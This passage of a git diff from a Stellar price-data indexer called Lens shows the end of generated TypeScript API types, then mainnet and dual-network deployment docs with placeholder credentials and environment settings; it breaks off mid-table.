`testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + /** @example XLM */ + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Per-venue spreads */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["SpreadResponse"]; + }; + }; + /** @description Invalid window or network */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Spread aggregation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["InternalErrorResponse"]; + }; + }; + }; + }; + getLendingRates: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + /** @example USDC */ + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Per-venue lending rates, best-first (empty when no market) */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["RatesResponse"]; + }; + }; + /** @description Invalid network */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Rate lookup failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + compareAsset: { + parameters: { + query?: { + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path: { + /** @example XLM */ + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Price comparison (includes status:"no_data" when both sources are null) */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["CompareResponse"]; + }; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + screenPairs: { + parameters: { + query?: { + volume?: number; + change_24h_min?: number; + change_24h_max?: number; + price_min?: number; + price_max?: number; + /** @description Filter for pairs with total AMM pool liquidity greater than or equal to this value. Liquidity is defined as the sum across all active AMM pools for the pair of (reserve_a * spot_price + reserve_b), valued in the quote asset (asset_b) at the latest snapshot spot price. */ + liquidity?: number; + sortBy?: "volume" | "change_24h" | "price" | "liquidity"; + order?: "asc" | "desc"; + /** @description Opaque cursor returned as `nextCursor` by the previous page. */ + cursor?: string; + limit?: number; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Screened pairs */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["ScreenerResponse"]; + }; + }; + /** @description Invalid filter, sort or cursor */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Internal server error */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + getMovers: { + parameters: { + query?: { + window?: "1h" | "24h" | "7d"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Market movers */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["MoversResponse"]; + }; + }; + /** @description Invalid window or network */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Internal server error */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + getBenchmark: { + parameters: { + query?: { + target?: string; + }; + header?: never; + path: { + /** @example USDC */ + asset: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Benchmark statistics */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["BenchmarkResponse"]; + }; + }; + /** @description Pair not watched */ + 404: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Benchmark computation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["InternalErrorResponse"]; + }; + }; + }; + }; + getBasket: { + parameters: { + query: { + /** + * @description Asset code; repeat for each basket member (at least two). + * @example [ + * "XLM", + * "USDC" + * ] + */ + asset: string[]; + /** + * @description Relative weight for each `asset`, in the same order. + * @example [ + * 0.6, + * 0.4 + * ] + */ + weight: number[]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Basket price or error with reason when price data is missing */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["BasketResponse"]; + }; + }; + /** @description Missing assets or mismatched/invalid weights */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getCorrelation: { + parameters: { + query: { + /** + * @description Comma-separated or repeated asset codes (at least two) + * @example XLM,USDC + */ + assets: string | string[]; + /** @description Lookback window (5m, 15m, 1h, 24h, 7d, 30d). Defaults to 24h. */ + window?: "5m" | "15m" | "1h" | "24h" | "7d" | "30d"; + /** @description Stellar network to answer for — `testnet` or `mainnet`. Defaults to this instance's configured `STELLAR_NETWORK`. An unrecognised value is rejected with 400. DB-backed reads are currently served from whichever network this instance indexes, even when another is requested. */ + network?: components["parameters"]["NetworkQuery"]; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Correlation matrix and pair provenance */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["CorrelationResponse"]; + }; + }; + /** @description Missing or invalid parameters */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + /** @description Correlation computation failed */ + 500: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + }; + }; + listDiscoveryResources: { + parameters: { + query?: { + type?: "http" | "mcp"; + payTo?: string; + /** @description Catalog filter matching the resource's payment network. Accepts either the Lens network name (`mainnet`/`testnet`) or the CAIP-2 id (`stellar:pubnet`/`stellar:testnet`). */ + network?: string; + /** @description Filter to resources declaring this extension (e.g. `bazaar`). */ + extensions?: string; + limit?: number; + offset?: number; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Paginated catalog page */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["DiscoveryResponse"]; + }; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + searchDiscoveryResources: { + parameters: { + query: { + q: string; + limit?: number; + cursor?: string; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Search results with relevance ranking and metadata quality */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": Record; + }; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + createWebhook: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody: { + content: { + "application/json": { + /** + * Format: uri + * @description HTTPS endpoint to deliver events to. + */ + url: string; + /** @example XLM */ + assetA: string; + /** @example USDC */ + assetB: string; + threshold: number; + /** @enum {string} */ + direction: "above" | "below"; + }; + }; + }; + responses: { + /** @description Webhook created */ + 201: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["WebhookCreatedResponse"]; + }; + }; + /** @description Invalid webhook definition */ + 400: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + deleteWebhook: { + parameters: { + query?: never; + header?: never; + path: { + id: string; + }; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Webhook deleted (idempotent — a missing id also returns 204) */ + 204: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getMyUsage: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Usage summary for the authenticated key */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["UsageResponse"]; + }; + }; + /** @description Missing or invalid API key */ + 401: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getCallerUsage: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Usage summary for the authenticated key */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["UsageResponse"]; + }; + }; + /** @description Missing or invalid API key */ + 401: { + headers: { + [name: string]: unknown; + }; + content?: never; + }; + 429: components["responses"]["TooManyRequests"]; + }; + }; + getSupported: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description Supported payment kinds and extensions */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["SupportedResponse"]; + }; + }; + }; + }; + verifyPayment: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody: { + content: { + "application/json": components["schemas"]["VerifyRequest"]; + }; + }; + responses: { + /** @description Verification result */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["VerifyResponse"]; + }; + }; + /** @description Malformed request or invalid payment */ + 400: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["VerifyResponse"]; + }; + }; + /** @description Internal verification error */ + 500: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["VerifyResponse"]; + }; + }; + }; + }; + settlePayment: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody: { + content: { + "application/json": components["schemas"]["SettleRequest"]; + }; + }; + responses: { + /** @description Settlement result */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["SettleResponse"]; + }; + }; + /** @description Malformed payload */ + 400: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["SettleResponse"]; + }; + }; + }; + }; + graphqlGet: { + parameters: { + query: { + query: string; + /** @description JSON-encoded variables object. */ + variables?: string; + operationName?: string; + }; + header?: never; + path?: never; + cookie?: never; + }; + requestBody?: never; + responses: { + /** @description GraphQL result */ + 200: { + headers: { + "Cache-Control": components["headers"]["CacheControl"]; + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["GraphQlResponse"]; + }; + }; + }; + }; + graphqlPost: { + parameters: { + query?: never; + header?: never; + path?: never; + cookie?: never; + }; + requestBody: { + content: { + "application/json": { + query: string; + variables?: Record; + operationName?: string; + }; + }; + }; + responses: { + /** @description GraphQL result */ + 200: { + headers: { + [name: string]: unknown; + }; + content: { + "application/json": components["schemas"]["GraphQlResponse"]; + }; + }; + 402: components["responses"]["PaymentRequired"]; + }; + }; +} diff --git a/docs/DEPLOY_MAINNET.md b/docs/DEPLOY_MAINNET.md index a4b84bf9..30d29800 100644 --- a/docs/DEPLOY_MAINNET.md +++ b/docs/DEPLOY_MAINNET.md @@ -1,169 +1,169 @@ -# Mainnet Deployment Guide (Render + UptimeRobot + Neon + external RPC) - -This runbook walks through running a **mainnet** Lens node on Render, kept -awake by UptimeRobot, backed by a managed Postgres (Neon) and an external -Soroban RPC provider. - -> **No secrets or keys are committed anywhere in this guide.** Every credential -> below is a placeholder — set the real values in your Render dashboard / host -> environment only. - -## Why mainnet is different from testnet - -Lens is already closer to mainnet than testnet out of the box: its Soroswap -factory and Aquarius defaults are **mainnet** addresses. The Reflector oracle -has no built-in default — supply `REFLECTOR_CONTRACT_ID_MAINNET` from -[reflector.network](https://reflector.network) to enable it. To point a node at -mainnet you mostly need to flip the network passphrase, Horizon/RPC URLs and -set mainnet `WATCHED_PAIRS`. - -Two things have no free mainnet equivalent: - -- **Soroban RPC** — there is no free public mainnet Soroban RPC. You must bring - your own provider (see [RPC provider](#rpc-provider)). -- **Render free Postgres** — it is **deleted after 90 days**. Use Neon or - another managed Postgres for any durable deployment. - -## Architecture - -``` -UptimeRobot ──GET /status──▶ Render web service (Lens) - │ - ├── external Soroban RPC provider (RPC_URL) - ├── Horizon (https://horizon.stellar.org) - └── Neon Postgres (DATABASE_URL) - └── Redis (REDIS_URL) -``` - -- **Compute:** Render web service (free tier OK for a single node). -- **Keep-alive:** UptimeRobot pings `/status` every 5 minutes so the free web - service never sleeps. -- **Database:** Neon (or any managed Postgres) — **never** Render free Postgres. -- **Cache/queues:** Redis (managed, e.g. Render Redis or Upstash). - -## Env matrix - -| Var | testnet | mainnet | -|-----|---------|---------| -| `STELLAR_NETWORK` | `testnet` | `mainnet` | -| `HORIZON_URL` | `https://horizon-testnet.stellar.org` | `https://horizon.stellar.org` | -| `RPC_URL` | `https://soroban-testnet.stellar.org` | external provider — **placeholder only** (see below) | -| `NETWORK_PASSPHRASE` | `Test SDF Network ; September 2015` | `Public Global Stellar Network ; September 2015` | -| `SOROSWAP_FACTORY_ADDRESS` | `CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY` | `CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2` | -| `REFLECTOR_CONTRACT_ID` | *(empty)* | *(required to enable the oracle — copy from reflector.network)* | -| `WATCHED_PAIRS` | testnet USDC issuer | mainnet USDC issuer | -| `DATABASE_URL` | testnet DB | **separate** mainnet DB | -| `REDIS_URL` | testnet Redis | **separate** mainnet Redis | - -> Lens resolves each field in this priority order: paired var -> (`HORIZON_URL_MAINNET`) → generic var (`HORIZON_URL`) → built-in default. -> Prefer the paired `_MAINNET` / `_TESTNET` vars so both networks can coexist -> in one env file. - -### Mainnet USDC issuer - -The mainnet `WATCHED_PAIRS` uses the mainnet USDC issuer: - -``` -WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN -``` - -## RPC provider - -Mainnet has **no free Soroban RPC**. You must provision one from a provider -(e.g. a hosted Soroban RPC service, a self-hosted `soroban-rpc` node, or a -third-party RPC gateway). Set the endpoint in the host environment only: - -``` -RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc # placeholder -``` - -Never commit a real provider URL or API key to the repo. - -## Render keep-alive (UptimeRobot) - -Render **free web services sleep** after ~15 minutes of inactivity. Because -Lens is an indexer that must keep ingesting, you need a keep-alive: - -1. Deploy the Lens image as a Render **web service**. -2. Create an UptimeRobot monitor that hits `GET /status` every **5 minutes**. - `/status` is public (no API key required) and returns indexer health. -3. Each ping wakes the service and keeps it running. - -> **750 instance-hours/month free cap.** A single always-on free instance uses -> 24 × 31 ≈ 744 hours/month — right at the cap. If you also run a testnet node, -> either run it on-demand, on a second account, or upgrade to a paid instance. -> See [Running testnet + mainnet side-by-side](#running-testnet--mainnet-side-by-side). - -## Database durability (Neon / managed Postgres) - -**Do not use Render's free Postgres for mainnet** — it is **deleted after -90 days**. Use Neon or another managed Postgres with: - -- Automatic backups / point-in-time recovery. -- A dedicated database per network. - -Lens is an aggregator, so the DB is also re-derivable by re-ingesting from -chain — but a nightly `pg_dump` makes restores fast. See the -[backup & restore runbook](../../issues/119) (L053) for the nightly `pg_dump` -workflow and restore procedure. - -## Running testnet + mainnet side-by-side - -Run **two separate deployments** (same image, one env set each). Give each -network its **own** database and Redis: every row now carries a `network` -discriminator (#114), but separate stores keep the two deployments — and any -read path not yet network-scoped — from pooling networks. - -| | testnet node | mainnet node | -|---|---|---| -| `STELLAR_NETWORK` | `testnet` | `mainnet` | -| `DATABASE_URL` | `postgresql://…testnet…` | `postgresql://…mainnet…` | -| `REDIS_URL` | `redis://…testnet…` | `redis://…mainnet…` | - -See [`docs/DUAL_NETWORK.md`](./DUAL_NETWORK.md) for the full dual-network -architecture. - -## Step-by-step - -1. **Provision the database.** Create a Neon project (or your managed Postgres) - and a dedicated database for mainnet. Copy the connection string. -2. **Provision Redis.** Create a managed Redis instance for mainnet. -3. **Provision an RPC provider.** Sign up / self-host a mainnet Soroban RPC - endpoint. -4. **Deploy on Render.** Create a web service from the Lens repo/image and set - the mainnet env vars (below) in the Render dashboard — never in a committed - file. -5. **Set up UptimeRobot.** Add a monitor for `https://.onrender.com/status` - every 5 minutes. -6. **Verify.** `curl https://.onrender.com/status` should return - `"ok": true` with your mainnet watched pairs and a recent `lastIndexedLedger`. - -### Mainnet env set (placeholders) - -```bash -# --- Active network --- -STELLAR_NETWORK=mainnet - -# --- Stellar (mainnet) --- -HORIZON_URL_MAINNET=https://horizon.stellar.org -RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc # placeholder -NETWORK_PASSPHRASE_MAINNET=Public Global Stellar Network ; September 2015 -SOROSWAP_FACTORY_ADDRESS_MAINNET=CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2 -REFLECTOR_CONTRACT_ID_MAINNET= # copy from https://reflector.network; empty disables the oracle -WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN - -# --- Storage (separate from testnet) --- -DATABASE_URL=postgresql://user:password@your-neon-host/mainnet # placeholder -REDIS_URL=redis://user:password@your-redis-host:6379 # placeholder - -# --- Auth (set real secrets in the host env only) --- -ADMIN_API_KEY=change-me -ADMIN_TOKEN=change-me -``` - -## Related docs - -- [`docs/DUAL_NETWORK.md`](./DUAL_NETWORK.md) — dual-network architecture -- [`docs/architecture.md`](./architecture.md) — system overview -- [Backup & restore runbook](../../issues/119) — nightly `pg_dump` workflow (L053) +# Mainnet Deployment Guide (Render + UptimeRobot + Neon + external RPC) + +This runbook walks through running a **mainnet** Lens node on Render, kept +awake by UptimeRobot, backed by a managed Postgres (Neon) and an external +Soroban RPC provider. + +> **No secrets or keys are committed anywhere in this guide.** Every credential +> below is a placeholder — set the real values in your Render dashboard / host +> environment only. + +## Why mainnet is different from testnet + +Lens is already closer to mainnet than testnet out of the box: its Soroswap +factory and Aquarius defaults are **mainnet** addresses. The Reflector oracle +has no built-in default — supply `REFLECTOR_CONTRACT_ID_MAINNET` from +[reflector.network](https://reflector.network) to enable it. To point a node at +mainnet you mostly need to flip the network passphrase, Horizon/RPC URLs and +set mainnet `WATCHED_PAIRS`. + +Two things have no free mainnet equivalent: + +- **Soroban RPC** — there is no free public mainnet Soroban RPC. You must bring + your own provider (see [RPC provider](#rpc-provider)). +- **Render free Postgres** — it is **deleted after 90 days**. Use Neon or + another managed Postgres for any durable deployment. + +## Architecture + +``` +UptimeRobot ──GET /status──▶ Render web service (Lens) + │ + ├── external Soroban RPC provider (RPC_URL) + ├── Horizon (https://horizon.stellar.org) + └── Neon Postgres (DATABASE_URL) + └── Redis (REDIS_URL) +``` + +- **Compute:** Render web service (free tier OK for a single node). +- **Keep-alive:** UptimeRobot pings `/status` every 5 minutes so the free web + service never sleeps. +- **Database:** Neon (or any managed Postgres) — **never** Render free Postgres. +- **Cache/queues:** Redis (managed, e.g. Render Redis or Upstash). + +## Env matrix + +| Var | testnet | mainnet | +|-----|---------|---------| +| `STELLAR_NETWORK` | `testnet` | `mainnet` | +| `HORIZON_URL` | `https://horizon-testnet.stellar.org` | `https://horizon.stellar.org` | +| `RPC_URL` | `https://soroban-testnet.stellar.org` | external provider — **placeholder only** (see below) | +| `NETWORK_PASSPHRASE` | `Test SDF Network ; September 2015` | `Public Global Stellar Network ; September 2015` | +| `SOROSWAP_FACTORY_ADDRESS` | `CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY` | `CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2` | +| `REFLECTOR_CONTRACT_ID` | *(empty)* | *(required to enable the oracle — copy from reflector.network)* | +| `WATCHED_PAIRS` | testnet USDC issuer | mainnet USDC issuer | +| `DATABASE_URL` | testnet DB | **separate** mainnet DB | +| `REDIS_URL` | testnet Redis | **separate** mainnet Redis | + +> Lens resolves each field in this priority order: paired var +> (`HORIZON_URL_MAINNET`) → generic var (`HORIZON_URL`) → built-in default. +> Prefer the paired `_MAINNET` / `_TESTNET` vars so both networks can coexist +> in one env file. + +### Mainnet USDC issuer + +The mainnet `WATCHED_PAIRS` uses the mainnet USDC issuer: + +``` +WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN +``` + +## RPC provider + +Mainnet has **no free Soroban RPC**. You must provision one from a provider +(e.g. a hosted Soroban RPC service, a self-hosted `soroban-rpc` node, or a +third-party RPC gateway). Set the endpoint in the host environment only: + +``` +RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc # placeholder +``` + +Never commit a real provider URL or API key to the repo. + +## Render keep-alive (UptimeRobot) + +Render **free web services sleep** after ~15 minutes of inactivity. Because +Lens is an indexer that must keep ingesting, you need a keep-alive: + +1. Deploy the Lens image as a Render **web service**. +2. Create an UptimeRobot monitor that hits `GET /status` every **5 minutes**. + `/status` is public (no API key required) and returns indexer health. +3. Each ping wakes the service and keeps it running. + +> **750 instance-hours/month free cap.** A single always-on free instance uses +> 24 × 31 ≈ 744 hours/month — right at the cap. If you also run a testnet node, +> either run it on-demand, on a second account, or upgrade to a paid instance. +> See [Running testnet + mainnet side-by-side](#running-testnet--mainnet-side-by-side). + +## Database durability (Neon / managed Postgres) + +**Do not use Render's free Postgres for mainnet** — it is **deleted after +90 days**. Use Neon or another managed Postgres with: + +- Automatic backups / point-in-time recovery. +- A dedicated database per network. + +Lens is an aggregator, so the DB is also re-derivable by re-ingesting from +chain — but a nightly `pg_dump` makes restores fast. See the +[backup & restore runbook](../../issues/119) (L053) for the nightly `pg_dump` +workflow and restore procedure. + +## Running testnet + mainnet side-by-side + +Run **two separate deployments** (same image, one env set each). Give each +network its **own** database and Redis: every row now carries a `network` +discriminator (#114), but separate stores keep the two deployments — and any +read path not yet network-scoped — from pooling networks. + +| | testnet node | mainnet node | +|---|---|---| +| `STELLAR_NETWORK` | `testnet` | `mainnet` | +| `DATABASE_URL` | `postgresql://…testnet…` | `postgresql://…mainnet…` | +| `REDIS_URL` | `redis://…testnet…` | `redis://…mainnet…` | + +See [`docs/DUAL_NETWORK.md`](./DUAL_NETWORK.md) for the full dual-network +architecture. + +## Step-by-step + +1. **Provision the database.** Create a Neon project (or your managed Postgres) + and a dedicated database for mainnet. Copy the connection string. +2. **Provision Redis.** Create a managed Redis instance for mainnet. +3. **Provision an RPC provider.** Sign up / self-host a mainnet Soroban RPC + endpoint. +4. **Deploy on Render.** Create a web service from the Lens repo/image and set + the mainnet env vars (below) in the Render dashboard — never in a committed + file. +5. **Set up UptimeRobot.** Add a monitor for `https://.onrender.com/status` + every 5 minutes. +6. **Verify.** `curl https://.onrender.com/status` should return + `"ok": true` with your mainnet watched pairs and a recent `lastIndexedLedger`. + +### Mainnet env set (placeholders) + +```bash +# --- Active network --- +STELLAR_NETWORK=mainnet + +# --- Stellar (mainnet) --- +HORIZON_URL_MAINNET=https://horizon.stellar.org +RPC_URL_MAINNET=https://your-provider.example.com/soroban-rpc # placeholder +NETWORK_PASSPHRASE_MAINNET=Public Global Stellar Network ; September 2015 +SOROSWAP_FACTORY_ADDRESS_MAINNET=CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2 +REFLECTOR_CONTRACT_ID_MAINNET= # copy from https://reflector.network; empty disables the oracle +WATCHED_PAIRS_MAINNET=XLM:native/USDC:GA5ZSEJYB37JRC5AVCIA5MOP4RHTM335X2KGX3IHOJAPP5RE34K4KZVN + +# --- Storage (separate from testnet) --- +DATABASE_URL=postgresql://user:password@your-neon-host/mainnet # placeholder +REDIS_URL=redis://user:password@your-redis-host:6379 # placeholder + +# --- Auth (set real secrets in the host env only) --- +ADMIN_API_KEY=change-me +ADMIN_TOKEN=change-me +``` + +## Related docs + +- [`docs/DUAL_NETWORK.md`](./DUAL_NETWORK.md) — dual-network architecture +- [`docs/architecture.md`](./architecture.md) — system overview +- [Backup & restore runbook](../../issues/119) — nightly `pg_dump` workflow (L053) diff --git a/docs/DUAL_NETWORK.md b/docs/DUAL_NETWORK.md index 47587db6..fc3d1588 100644 --- a/docs/DUAL_NETWORK.md +++ b/docs/DUAL_NETWORK.md @@ -1,65 +1,65 @@ -# Dual-Network (mainnet + testnet) — Foundation - -Goal: run Lens on **mainnet and testnet at the same time**, keeping testnet as -the safe demo/QA surface while mainnet serves real price data. - -## Architecture options - -1. **Two deployments (recommended, no refactor).** Same image, one env set + - one database/Redis per network. -2. **In-process dual-network.** One process ingests both networks — requires the - issues below (per-network config, network-aware storage, per-network clients - and ingesters, a network selector on the API). - -Storage is network-segregated: every model carries a `network` discriminator and -every write is tagged with the network it came from (#114), so the same -`pairKey` (e.g. `XLM/USDC`) on two networks is stored as distinct rows instead -of colliding. Redis cache keys carry a per-network prefix too. - -> Resolved: each network now has its own fully-resolved config block -> (`config.networks.testnet` / `.mainnet`, #113) with matching defaults, so -> Horizon/RPC, the Soroswap factory, the Reflector oracle and Aquarius no longer -> disagree about which network they point at. - -## Env matrix - -| Var | testnet | mainnet | -|-----|---------|---------| -| `HORIZON_URL` | `https://horizon-testnet.stellar.org` | `https://horizon.stellar.org` | -| `RPC_URL` | `https://soroban-testnet.stellar.org` | external provider (**secret — host env only**) | -| `NETWORK_PASSPHRASE` | `Test SDF Network ; September 2015` | `Public Global Stellar Network ; September 2015` | -| `SOROSWAP_FACTORY_ADDRESS` | `CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY` | `CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2` | -| `REFLECTOR_CONTRACT_ID` | — (disabled) | — (disabled) — paste an id from [reflector.network](https://reflector.network) to enable | -| `WATCHED_PAIRS` | testnet USDC issuer | mainnet USDC issuer | -| `DATABASE_URL` / `REDIS_URL` | testnet | **separate** mainnet instances | - -## Ordered work - -Every item below is implemented and merged. The issues for #114–#120 are -closed; #113 is still open as a tracking item only — its code shipped -(`config.networks.testnet` / `.mainnet`, `src/config.ts`). The table is kept as -a reference for the dependency order. - -Dependencies: **#113 → #115 → #116 → #117**; #114 before the network selector. - -| # | Issue | Dep | Status | -|---|-------|-----|--------| -| [#113](../../issues/113) | `config.ts` → per-network config map | — | ✅ Code merged (issue still open) | -| [#114](../../issues/114) | `network` discriminator on all models + Redis prefix | — | ✅ Done | -| [#115](../../issues/115) | Per-network Horizon/RPC clients across ingesters | #113 | ✅ Done | -| [#116](../../issues/116) | Per-network Soroswap/Reflector/Aquarius/token-list | #113 | ✅ Done | -| [#117](../../issues/117) | Launch ingesters per network | #113–#116 | ✅ Done | -| [#118](../../issues/118) | Network selector on routes + per-request x402 | #114 | ✅ Done | -| [#119](../../issues/119) | Nightly `pg_dump` backup + [restore runbook](backup-restore.md) | — | ✅ Done | -| [#120](../../issues/120) | Mainnet deploy guide | the rest | ✅ Done | - -## Ops (Render + UptimeRobot + external Postgres) - -- **Compute:** Render free web service kept awake by UptimeRobot pinging - `/status` every 5 min. Note the **750 instance-hours/month** free cap — run - mainnet always-on, testnet on-demand / a second account / a paid instance. -- **Database:** use Neon or another managed Postgres. **Do not** use Render's - free Postgres — it is **deleted after 90 days**. One DB per network. -- **Durability fallback:** nightly `pg_dump` (#119) for fast restore; see - [backup-restore.md](backup-restore.md). Lens is an aggregator, so the DB is - also re-derivable by re-ingesting from chain. +# Dual-Network (mainnet + testnet) — Foundation + +Goal: run Lens on **mainnet and testnet at the same time**, keeping testnet as +the safe demo/QA surface while mainnet serves real price data. + +## Architecture options + +1. **Two deployments (recommended, no refactor).** Same image, one env set + + one database/Redis per network. +2. **In-process dual-network.** One process ingests both networks — requires the + issues below (per-network config, network-aware storage, per-network clients + and ingesters, a network selector on the API). + +Storage is network-segregated: every model carries a `network` discriminator and +every write is tagged with the network it came from (#114), so the same +`pairKey` (e.g. `XLM/USDC`) on two networks is stored as distinct rows instead +of colliding. Redis cache keys carry a per-network prefix too. + +> Resolved: each network now has its own fully-resolved config block +> (`config.networks.testnet` / `.mainnet`, #113) with matching defaults, so +> Horizon/RPC, the Soroswap factory, the Reflector oracle and Aquarius no longer +> disagree about which network they point at. + +## Env matrix + +| Var | testnet | mainnet | +|-----|---------|---------| +| `HORIZON_URL` | `https://horizon-testnet.stellar.org` | `https://horizon.stellar.org` | +| `RPC_URL` | `https://soroban-testnet.stellar.org` | external provider 